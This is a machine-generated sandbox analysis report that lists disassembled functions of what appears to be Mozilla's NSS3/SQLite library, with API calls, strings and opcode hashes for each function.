API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: f5136cf07b51ce995bd57fc0ad63f097a3501febb4d4fcc76c55179b1a707b6a
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: C531F3717011608BF710C655CC68BAEB369EF81398F64497AD52997AD0FB33988ACA11

Function 6CBF0E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6CBF0A2C), ref: 6CBF0E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6CBF0A2C), ref: 6CBF0E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6CBF0A2C), ref: 6CBF0E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6CBF0A2C), ref: 6CBF0E90
free.MOZGLUE(00000000), ref: 6CBF0EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6CBF0A2C), ref: 6CBF0ED9

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: 1b85ae43dd971271f214b1e0fa8dfcbbb90232bd53a7a9778f413bebfe64f73a
Instruction ID: 2813fb3c55c0710b4151e269808b1145124c2654b0b273ec7b82e1a406be0104
Opcode Fuzzy Hash: 1b85ae43dd971271f214b1e0fa8dfcbbb90232bd53a7a9778f413bebfe64f73a
Instruction Fuzzy Hash: 32212E76F012C557EB004966BC85B6B76AEDBC1748F194435D93C93B25FA60C81F82A3

Function 6CC088D0 Relevance: 9.1, APIs: 6, Instructions: 97memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CC10725,00000000,00000058), ref: 6CC08906
EnterCriticalSection.KERNEL32(?), ref: 6CC0891A
PL_ArenaAllocate.NSS3(?,?), ref: 6CC0894A
calloc.MOZGLUE(00000001,6CC1072D,00000000,00000000,00000000,?,6CC10725,00000000,00000058), ref: 6CC08959
memset.VCRUNTIME140(?,00000000,?), ref: 6CC08993
PR_Unlock.NSS3(?), ref: 6CC089AF

Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07AD
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07CD
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07D6
Part of subcall function 6CBE07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CB7204A), ref: 6CBE07E4
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,6CB7204A), ref: 6CBE0864
Part of subcall function 6CBE07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CBE0880
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,6CB7204A), ref: 6CBE08CB
Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08D7
Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08FB

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Value$calloc$AllocateArenaCriticalEnterSectionUnlockmemset
String ID:
API String ID: 1716546843-0
Opcode ID: 086c4ea168991bee5483d47bf8b28321f9ed7fb61cbf775d2f1952c5d3be143b
Instruction ID: 5b18148ff507424eb73c5a3341ca6a89ae28ef6b2838cbfadcfa8e2ce5651c00
Opcode Fuzzy Hash: 086c4ea168991bee5483d47bf8b28321f9ed7fb61cbf775d2f1952c5d3be143b
Instruction Fuzzy Hash: 3831F572B005119BEB00AF29CC41E5977A8BF4571CF15C626ED589BB41F732E845CBD2

Function 6CBFAE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CBFAEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6CBFAECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CBFAEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6CBFAF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6CD19500), ref: 6CBFAF23

Part of subcall function 6CC4F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6CC4F0C8
Part of subcall function 6CC4F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CC4F122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CBFAF37

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: f3b650b83025981777ecd9f72db0d2c751779e95ee41052d999701a70cecc2e7
Instruction ID: 0d5f87ac1fa5a4d18c61bfa0d2f34b0eb491ad6ab93d0f779ed302090845ca72
Opcode Fuzzy Hash: f3b650b83025981777ecd9f72db0d2c751779e95ee41052d999701a70cecc2e7
Instruction Fuzzy Hash: 3921F8B1909240ABFB108E189C41B9A7BA4EF8572CF144315EC64EF791F731D51A8BA7

Function 6CC7EE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC7EE85
realloc.MOZGLUE(36C6D85A,?), ref: 6CC7EEAE
PORT_Alloc_Util.NSS3(?), ref: 6CC7EEC5

Part of subcall function 6CC50BE0: malloc.MOZGLUE(6CC48D2D,?,00000000,?), ref: 6CC50BF8
Part of subcall function 6CC50BE0: TlsGetValue.KERNEL32(6CC48D2D,?,00000000,?), ref: 6CC50C15

htonl.WSOCK32(?), ref: 6CC7EEE3
htonl.WSOCK32(00000000,?), ref: 6CC7EEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6CC7EF01

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: 9b37eeea28443a0869fe587d0e995bb8dcbd5c7b25bed938dc6e8c1710b0cebd
Instruction ID: 5637d0e85698a9a6698aa58fa5f0a90071ee67083c908f63c1c0a19f6b958611
Opcode Fuzzy Hash: 9b37eeea28443a0869fe587d0e995bb8dcbd5c7b25bed938dc6e8c1710b0cebd
Instruction Fuzzy Hash: 0421D372A002249FDB20DF28DC80B9AB7A4EF45358F158529ED199B651E330EC14CBF6

Function 6CC52550 Relevance: 9.1, APIs: 6, Instructions: 61memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000), ref: 6CC52576
PORT_Alloc_Util.NSS3(00000000), ref: 6CC52585

Part of subcall function 6CC50BE0: malloc.MOZGLUE(6CC48D2D,?,00000000,?), ref: 6CC50BF8
Part of subcall function 6CC50BE0: TlsGetValue.KERNEL32(6CC48D2D,?,00000000,?), ref: 6CC50C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000), ref: 6CC525A1
_waccess.API-MS-WIN-CRT-FILESYSTEM-L1-1-0(00000000,?), ref: 6CC525AF
free.MOZGLUE(00000000), ref: 6CC525BB
free.MOZGLUE(00000000), ref: 6CC525CA

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: ByteCharMultiWidefree$Alloc_UtilValue_waccessmalloc
String ID:
API String ID: 3520324648-0
Opcode ID: f7e5237c99fb60ee5efcc2423230948bceecd5c9e4c7cd389fc056104cd8d2c6
Instruction ID: 14e9863948df1f9e2e2f8cf2f19bbf4dc7734b78963e33e271d37cb4d185a4ec
Opcode Fuzzy Hash: f7e5237c99fb60ee5efcc2423230948bceecd5c9e4c7cd389fc056104cd8d2c6
Instruction Fuzzy Hash: 6301F1B17052013BFF102A799C69E3B369CEB816A9B900130BF19C6685F960CA3086F5

Function 6CD086C0 Relevance: 9.1, APIs: 6, Instructions: 54threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6CD086DE

Part of subcall function 6CBE0F00: PR_GetPageSize.NSS3(6CBE0936,FFFFE8AE,?,6CB716B7,00000000,?,6CBE0936,00000000,?,6CB7204A), ref: 6CBE0F1B
Part of subcall function 6CBE0F00: PR_NewLogModule.NSS3(clock,6CBE0936,FFFFE8AE,?,6CB716B7,00000000,?,6CBE0936,00000000,?,6CB7204A), ref: 6CBE0F25

PR_Lock.NSS3 ref: 6CD08700

Part of subcall function 6CCB9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CBE1A48), ref: 6CCB9BB3
Part of subcall function 6CCB9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CBE1A48), ref: 6CCB9BC8

getprotobyname.WSOCK32(?), ref: 6CD08709
GetLastError.KERNEL32(?), ref: 6CD08717
PR_GetCurrentThread.NSS3(?,?), ref: 6CD0871F
PR_Unlock.NSS3(?,?), ref: 6CD0873A

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CurrentThread$CriticalEnterErrorLastLockModulePageSectionSizeUnlockValuegetprotobyname
String ID:
API String ID: 2388724134-0
Opcode ID: fd6ab10b240a43127347d610586e6b975852ea38ab8041987b5a454e915d9984
Instruction ID: d44a69f09af6818d39576df88d5303f1c4687d375909fdf9af0c459a86034e51
Opcode Fuzzy Hash: fd6ab10b240a43127347d610586e6b975852ea38ab8041987b5a454e915d9984
Instruction Fuzzy Hash: 8211E572B101209BDF10AFBDDC0068A7678AB86769F464376ED0557BB1D7308804CBD6

Function 6CBDC4E0 Relevance: 9.1, APIs: 6, Instructions: 52COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CBDC4F0
free.MOZGLUE ref: 6CBDC51A
TlsSetValue.KERNEL32 ref: 6CBDC540
free.MOZGLUE ref: 6CBDC557
DeleteCriticalSection.KERNEL32 ref: 6CBDC56A
free.MOZGLUE ref: 6CBDC576

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: free$Value$CriticalDeleteSection
String ID:
API String ID: 195087141-0
Opcode ID: aceda818e14d17086c994c207ab3104b51a7b83d3c2ca3089c6857779ac2aea6
Instruction ID: 7181de5ece764035dba322ef70ea832376172ecd9ffbe574482ceca35abfefa0
Opcode Fuzzy Hash: aceda818e14d17086c994c207ab3104b51a7b83d3c2ca3089c6857779ac2aea6
Instruction Fuzzy Hash: 09112174514B408BDB10BF79C04915EBBF8FF45749F054E2DDACA87600EB30A448CB86

Function 6CBFE520 Relevance: 9.0, APIs: 6, Instructions: 43COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(00000000,?,?,6CC07F5D,00000000,00000000,?,?,?,6CC080DD), ref: 6CBFE532

Part of subcall function 6CCB9090: TlsGetValue.KERNEL32 ref: 6CCB90AB
Part of subcall function 6CCB9090: TlsGetValue.KERNEL32 ref: 6CCB90C9
Part of subcall function 6CCB9090: EnterCriticalSection.KERNEL32 ref: 6CCB90E5
Part of subcall function 6CCB9090: TlsGetValue.KERNEL32 ref: 6CCB9116
Part of subcall function 6CCB9090: LeaveCriticalSection.KERNEL32 ref: 6CCB913F

PR_EnterMonitor.NSS3(6CC080DD), ref: 6CBFE549

Part of subcall function 6CCB9090: LeaveCriticalSection.KERNEL32 ref: 6CCB91AA
Part of subcall function 6CCB9090: TlsGetValue.KERNEL32 ref: 6CCB9212
Part of subcall function 6CCB9090: _PR_MD_WAIT_CV.NSS3 ref: 6CCB926B

PR_ExitMonitor.NSS3 ref: 6CBFE56D
PL_HashTableDestroy.NSS3 ref: 6CBFE57B

Part of subcall function 6CBFE190: PR_EnterMonitor.NSS3(?,?,6CBFE175), ref: 6CBFE19C
Part of subcall function 6CBFE190: PR_EnterMonitor.NSS3(6CBFE175), ref: 6CBFE1AA
Part of subcall function 6CBFE190: PR_ExitMonitor.NSS3 ref: 6CBFE208
Part of subcall function 6CBFE190: PL_HashTableRemove.NSS3(?), ref: 6CBFE219
Part of subcall function 6CBFE190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CBFE231
Part of subcall function 6CBFE190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CBFE249
Part of subcall function 6CBFE190: PR_ExitMonitor.NSS3 ref: 6CBFE257

PR_ExitMonitor.NSS3(6CC080DD), ref: 6CBFE5B5
PR_DestroyMonitor.NSS3 ref: 6CBFE5C3

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Monitor$Enter$ExitValue$CriticalSection$Arena_DestroyFreeHashLeaveTableUtil$Remove
String ID:
API String ID: 3740585915-0
Opcode ID: d77971aa4732c85d40b2b9bfd868c33ea5a79470a9a496423d7e29b7d36253e2
Instruction ID: ea06b5febc487a4fdd02458021d0f6d2516a16453e7de8d89603aa763bf3f07c
Opcode Fuzzy Hash: d77971aa4732c85d40b2b9bfd868c33ea5a79470a9a496423d7e29b7d36253e2
Instruction Fuzzy Hash: 2A012DB1E141C0CBFE025B64E8016693ABCF7166CCF901126DA1592B19FB31B95ADB82

Function 6CBDAE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CBDAFDA

Strings

misuse, xrefs: 6CBDAFCE
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CBDAFC4
%s at line %d of [%.10s], xrefs: 6CBDAFD3
unable to delete/modify collation sequence due to active statements, xrefs: 6CBDAF5C

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: 166a070dc0f49b005348abd783a770e0d491ed3804984db938d7255bc9a6d76c
Instruction ID: 0e0b91df86357844b3e3aea409d198b73b78d3eeb6c5cf9b1bce0862471b53e0
Opcode Fuzzy Hash: 166a070dc0f49b005348abd783a770e0d491ed3804984db938d7255bc9a6d76c
Instruction Fuzzy Hash: EF91C175A012958FDB04CF69C890BAEB7F1EF45314F1A45A8E869AB791D334BC01CF62

Function 6CB7E6D0 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 194COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?), ref: 6CB7E81D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010966,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,6CB7DB91,?,?), ref: 6CB7E8E7

Strings

database corruption, xrefs: 6CB7E8DB
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB7E8C5, 6CB7E8D1, 6CB7E8F9, 6CB7E905, 6CB7E911, 6CB7E91D, 6CB7E929, 6CB7E935
%s at line %d of [%.10s], xrefs: 6CB7E8E0

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 3107271255-598938438
Opcode ID: edc7a04f6d0cf111fe75bf3f233b2db824f4ae4716ec2b059ab01460920682b9
Instruction ID: aae9a2ec9aae1bc9340bbefa045c42d7aafdcb39c7bd836a7c0a02bea23e5120
Opcode Fuzzy Hash: edc7a04f6d0cf111fe75bf3f233b2db824f4ae4716ec2b059ab01460920682b9
Instruction Fuzzy Hash: AC71BF71E042A9DFDB24CF9DC4809EEB7B0AF19305F14456AE864BBA41D374E944CBB1

Function 6CB7E4C0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 92COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000108D2,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB7E53A
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000108BD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB7E5BC

Strings

database corruption, xrefs: 6CB7E52F, 6CB7E5B1
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB7E525, 6CB7E596, 6CB7E5A7
%s at line %d of [%.10s], xrefs: 6CB7E534, 6CB7E5B6

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 6eb88a362051555009fc39170929011c20b31bd97da3fe035a64c8bed68337e4
Instruction ID: 3c70c92bbcc7c05cec58312af81e5a7d6a6b4cde7222303810f52e9793d5a69b
Opcode Fuzzy Hash: 6eb88a362051555009fc39170929011c20b31bd97da3fe035a64c8bed68337e4
Instruction Fuzzy Hash: AD3148306407A99FD3218F9CC8809BEB7A0EF41718B54097DE899A7B91F365ED49C3E0

Function 6CC547A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

NSSUTIL_ArgGetParamValue.NSS3(?,?,slotFlags,00000000), ref: 6CC547AF

Part of subcall function 6CC54120: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC5413D
Part of subcall function 6CC54120: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CC54162
Part of subcall function 6CC54120: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC5416B
Part of subcall function 6CC54120: PL_strncasecmp.NSS3(6CC54232,?,00000001), ref: 6CC54187
Part of subcall function 6CC54120: NSSUTIL_ArgSkipParameter.NSS3(6CC54232), ref: 6CC541A0
Part of subcall function 6CC54120: isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC541B4
Part of subcall function 6CC54120: PL_strncasecmp.NSS3(00000000,0000003D,?), ref: 6CC541CC
Part of subcall function 6CC54120: NSSUTIL_ArgFetchValue.NSS3(6CC54232,?), ref: 6CC54203

PL_strcasecmp.NSS3(00000000,all,?,?,slotFlags,00000000), ref: 6CC547C3
PL_strncasecmp.NSS3(00000000,?,?), ref: 6CC547F0
free.MOZGLUE(?,?,?,?,?,slotFlags,00000000), ref: 6CC54823

Strings

all, xrefs: 6CC547BD

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: L_strncasecmp$Valuestrlen$FetchL_strcasecmpParamParameterSkipfreeisspacestrcpy
String ID: all
API String ID: 1061888981-991457757
Opcode ID: 43d3034422d7a0dce645255f83d13a2076c999fcea44709e285e6335b8fb8b85
Instruction ID: 09b5f7f1bfda193508db2065f46232392f01cf5ec07418c588249505a9236ad7
Opcode Fuzzy Hash: 43d3034422d7a0dce645255f83d13a2076c999fcea44709e285e6335b8fb8b85
Instruction Fuzzy Hash: BF118972C081946BEF00AF76AC4079A3B79AF8234DF440021EE5892D02F3328935CB99

Function 6CBE0DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6CBE0BDE), ref: 6CBE0DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6CBE0BDE), ref: 6CBE0DEA
